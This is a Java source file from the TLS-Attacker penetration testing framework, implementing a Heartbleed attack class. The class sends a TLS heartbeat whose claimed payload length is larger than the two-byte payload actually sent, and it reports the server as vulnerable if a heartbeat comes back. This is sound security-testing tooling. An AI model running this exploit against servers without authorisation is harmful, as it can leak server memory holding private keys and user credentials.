/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
*
* Licensed under Apache License 2.0
* http://www.apache.org/licenses/LICENSE-2.0
*/
package de.rub.nds.tlsattacker.attacks.impl;
import de.rub.nds.tlsattacker.tls.Attacker;
import de.rub.nds.tlsattacker.attacks.config.HeartbleedCommandConfig;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.tlsattacker.modifiablevariable.integer.IntegerModificationFactory;
import de.rub.nds.tlsattacker.modifiablevariable.integer.ModifiableInteger;
import de.rub.nds.tlsattacker.modifiablevariable.singlebyte.ModifiableByte;
import de.rub.nds.tlsattacker.tls.config.ConfigHandler;
import de.rub.nds.tlsattacker.tls.protocol.heartbeat.HeartbeatMessage;
import de.rub.nds.tlsattacker.tls.constants.ProtocolMessageType;
import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
import de.rub.nds.tlsattacker.tls.protocol.ProtocolMessage;
import de.rub.nds.tlsattacker.tls.util.LogLevel;
import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace;
import de.rub.nds.tlsattacker.transport.TransportHandler;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Executes the Heartbeat attack against a server and logs an error in case the
* server responds with a valid heartbeat message.
*
* @author Juraj Somorovsky (juraj.somorovsky@rub.de)
*/
public class HeartbleedAttack extends Attacker<HeartbleedCommandConfig> {
private static final Logger LOGGER = LogManager.getLogger(HeartbleedAttack.class);
public HeartbleedAttack(HeartbleedCommandConfig config) {
super(config);
}
@Override
public void executeAttack(ConfigHandler configHandler) {
TransportHandler transportHandler = configHandler.initializeTransportHandler(config);
TlsContext tlsContext = configHandler.initializeTlsContext(config);
WorkflowExecutor workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext);
WorkflowTrace trace = tlsContext.getWorkflowTrace();
ModifiableByte heartbeatMessageType = new ModifiableByte();
ModifiableInteger payloadLength = new ModifiableInteger();
payloadLength.setModification(IntegerModificationFactory.explicitValue(config.getPayloadLength()));
ModifiableByteArray payload = new ModifiableByteArray();
payload.setModification(ByteArrayModificationFactory.explicitValue(new byte[]{1, 3}));
HeartbeatMessage hb = (HeartbeatMessage) trace.getFirstProtocolMessage(ProtocolMessageType.HEARTBEAT);
hb.setHeartbeatMessageType(heartbeatMessageType);
hb.setPayload(payload);
hb.setPayloadLength(payloadLength);
try {
workflowExecutor.executeWorkflow();
} catch (WorkflowExecutionException ex) {
LOGGER.info(
"The TLS protocol flow was not executed completely, follow the debug messages for more information.",
ex);
}
if (trace.containsServerFinished()) {
ProtocolMessage lastMessage = trace.getLastServerMesssage();
if (lastMessage.getProtocolMessageType() == ProtocolMessageType.HEARTBEAT) {
LOGGER.log(LogLevel.CONSOLE_OUTPUT,
"Vulnerable. The server responds with a heartbeat message, although the client heartbeat message contains an invalid ");
vulnerable = true;
} else {
LOGGER.log(LogLevel.CONSOLE_OUTPUT,
"(Most probably) Not vulnerable. The server does not respond with a heartbeat message, it is not vulnerable");
vulnerable = false;
}
} else {
LOGGER.log(LogLevel.CONSOLE_OUTPUT,
"Correct TLS handshake cannot be executed, no Server Finished message found. Check the server configuration.");
}
tlsContexts.add(tlsContext);
transportHandler.closeConnection();
}
}